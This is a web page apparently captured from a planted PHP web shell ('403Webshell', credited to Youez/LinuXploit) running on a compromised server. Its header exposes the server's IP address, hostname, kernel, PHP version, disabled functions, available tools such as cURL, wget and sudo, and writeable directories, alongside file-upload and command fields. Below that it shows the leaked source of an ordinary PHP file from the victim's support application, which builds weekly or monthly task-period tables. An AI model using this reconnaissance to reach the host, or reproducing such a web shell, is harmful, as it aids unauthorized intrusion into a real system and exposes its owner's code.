403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/onesupportdemo.onesolution.hk/contract/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/onesupportdemo.onesolution.hk/contract/views/generate_task_period.php
<?php include ('../../inc/configure.php'); ?>


<style type="text/css">
	div.scroll_to_top {
		position: fixed;
		bottom: 0;
		left: 50%;
		color: white;
		padding: 2px 5px 0px 5px;
	}
</style>

<style type="text/css">
	body {
		padding-top: 60px; /* 60px to make the container go all the way to the bottom of the topbar */
		padding-bottom: 40px;
	}
	td{
		text-align: center;
	}
</style>


<?php

	$sql = "SELECT * FROM sup_public_holiday WHERE year >= '".date("Y")."' order by holiday_date ASC";
	$parameters = array(0);
	if (!($sth = $dbh->prepare($sql))) {
		throw new Exception("sql prepare statement failure: $sql");
	}
	$sth->setFetchMode(PDO::FETCH_ASSOC);
	if (!$sth->execute($parameters)) {
		throw new Exception("sql execute statement failure: $sql");
	}
	$holiday = $sth->fetchAll();

	$allow_edit_mode = false;
	if (Util::isAdmin()) { // admin
		$allow_edit_mode = true;
	} else {
		if (empty($job['id'])) { // new job
			$allow_edit_mode = true;
		} else {
			if ($job['type'] == 4) { // remote service call
				$allow_edit_mode = true;
			}
		}
	}

	$sql5 = "select * from sup_task_category where deleted = 0 order by sort ASC";
	if (!($sth5 = $dbh->prepare($sql5))) {
		throw new Exception("sql prepare statement failure: $sql5");
	}

	if (!$sth5->execute()) {
		throw new Exception("sql execute statement failure: $sql5");
	}
	$task_categories = $sth5->fetchAll();

	$period      = $_GET["period"];
	$frequency      = $_GET["frequency"];
	$date_from = $_GET["date_from"];
	$date_to   = $_GET["date_to"];

	if(strtotime($date_from) > strtotime($date_to)){
		echo "<div style='color: red;'>Job Date From should be early than Job Date To!</div>";
		exit;
	}

	if(empty($date_from) || empty($date_to)){
		echo "<div style='color: red;'>Job Date From or Job Date To should not be empty!</div>";
		exit;
	}


	echo "<table border='1' cellpadding='5' style='text-align: center;width: 600px;'>
			<tr>
			<th><input type='button' id='toggle2' value='All' onClick='available_date()' style='width: 50px;'/></th>
			<th>Task Period</th>
			</tr>";

	if($period==2){  //weekly

		$startTimeStamp = strtotime($date_from);
		$endTimeStamp = strtotime($date_to);

		$timeDiff = abs($endTimeStamp - $startTimeStamp);

		$numberweeks = $timeDiff/86400/7;  // 86400 seconds in one day

		// and you might want to convert to integer
		$numberweeks = intval($numberweeks);
		$loopnum = floor($numberweeks/$frequency)+1;


		$countrow = 0;
		for ($i = 0; $i < $loopnum; $i++) {

			$NewDate     = Date('Y-m-d', strtotime($date_from . "+" . $frequency * $i . " week"));
			$NewWeek     = date("D", strtotime($NewDate));
			$NewWeek_num = date("N", strtotime($NewDate));

			//echo $NewDate."(".$NewWeek."),";

			//echo $targeweek;

			if ($NewDate <= $date_to) { //this week equal to the user selected week, that is the target
				$task_start_date = $NewDate;
				$task_end_date   = Date('Y-m-d', strtotime($date_from . "+" . ($frequency * ($i + 1)) . " week - 1 days"));
				?>
				<tr>

					<td>
						<input type="checkbox" name="arraynum[]" value='<?= $i ?>' class="checkall2"/>
					</td>

					<td>
						<? //=$NewDate?>
						<div class="controls" style="padding: 0;margin: 0;">
							<div class="input-append date-picker">
								<input type="text" id="start_date_<?= $countrow ?>" name="start_date_<?= $countrow ?>" value="<?= h(Util::value_to_date_string($task_start_date)) ?>" class="dateISO" data-format="yyyy-MM-dd" placeholder="Date" <?php foreach ($holiday as $holiday_date) if ($holiday_date["holiday_date"] == $task_start_date || $task_start_date == "Sun") echo "style='color: #FA5858;'" ?>/>



									<span class="add-on">
										<i data-time-icon="icon-time" data-date-icon="icon-calendar"></i>
									</span>

							</div>

							<div class="input-append date-picker">
								<input type="text" id="end_date_<?= $countrow ?>" name="end_date_<?= $countrow ?>" value="<?= h(Util::value_to_date_string($task_end_date)) ?>" class="dateISO" data-format="yyyy-MM-dd" placeholder="Date" <?php foreach ($holiday as $holiday_date) if ($holiday_date["holiday_date"] == $task_end_date || $task_end_date == "Sun") echo "style='color: #FA5858;'" ?>/>

									<span class="add-on">
										<i data-time-icon="icon-time" data-date-icon="icon-calendar"></i>
									</span>

							</div>

						</div>

					</td>



				</tr>
				<?php
				$countrow++;
			}




		}


	}else if($period==3){   //monthly
		$date_from_month = date("n", strtotime($date_from)); //1-12

		$datefrom_year_month_day =  date("Y-m-01", strtotime($date_from));
		$dateto_year_month_day =  date("Y-m-01", strtotime($date_to));
		//$datetime1 = date_create($date_from);
		$datetime1 = date_create($datefrom_year_month_day);
		//$datetime2 = date_create($date_to);
		$datetime2 = date_create($dateto_year_month_day);
		$interval = date_diff($datetime1, $datetime2);
		$numofmonth = $interval->format('%m months');
		$numofyear = $interval->format('%y months');

		$loopnum = $numofyear*12+$numofmonth+1;

		$countrow = 0;

		//testing

		$datefrom_year_month =  date("Y-m", strtotime($date_from));

		for($i = 0; $i < $loopnum; $i++){ //how many month between that period
			$NewDate     = Date('Y-m-d', strtotime($date_from . "+" . $frequency * $i . " month"));
			$NewWeek     = date("D", strtotime($NewDate));
			$NewWeek_num = date("N", strtotime($NewDate));

			//echo $NewDate."(".$NewWeek."),";

			//echo $targeweek;

			if ($NewDate <= $date_to) { //this week equal to the user selected week, that is the target
				$task_start_date = $NewDate;
				$task_end_date   = Date('Y-m-d', strtotime($date_from . "+" . ($frequency * ($i + 1)) . " month - 1 days"));
				?>
				<tr>

					<td>
						<input type="checkbox" name="arraynum[]" value='<?= $i ?>' class="checkall2"/>
					</td>

					<td>
						<? //=$NewDate?>
						<div class="controls" style="padding: 0;margin: 0;">
							<div class="input-append date-picker">
								<input type="text" id="start_date_<?= $countrow ?>" name="start_date_<?= $countrow ?>" value="<?= h(Util::value_to_date_string($task_start_date)) ?>" class="dateISO" data-format="yyyy-MM-dd" placeholder="Date" <?php foreach ($holiday as $holiday_date) if ($holiday_date["holiday_date"] == $task_start_date || $task_start_date == "Sun") echo "style='color: #FA5858;'" ?>/>



									<span class="add-on">
										<i data-time-icon="icon-time" data-date-icon="icon-calendar"></i>
									</span>

							</div>

							<div class="input-append date-picker">
								<input type="text" id="end_date_<?= $countrow ?>" name="end_date_<?= $countrow ?>" value="<?= h(Util::value_to_date_string($task_end_date)) ?>" class="dateISO" data-format="yyyy-MM-dd" placeholder="Date" <?php foreach ($holiday as $holiday_date) if ($holiday_date["holiday_date"] == $task_end_date || $task_end_date == "Sun") echo "style='color: #FA5858;'" ?>/>

									<span class="add-on">
										<i data-time-icon="icon-time" data-date-icon="icon-calendar"></i>
									</span>

							</div>

						</div>

					</td>



				</tr>
				<?php
				$countrow++;
			}


		}


	}else{}

	echo "<input type='hidden' id='totalloop3' value='".$countrow."' name='num_task_period' />";
?>



<?php
	$_SESSION['period'] = $period;
	$_SESSION['customer_id'] = (int)$_GET["customer_id"];

?>


Youez - 2016 - github.com/yon3zu
LinuXploit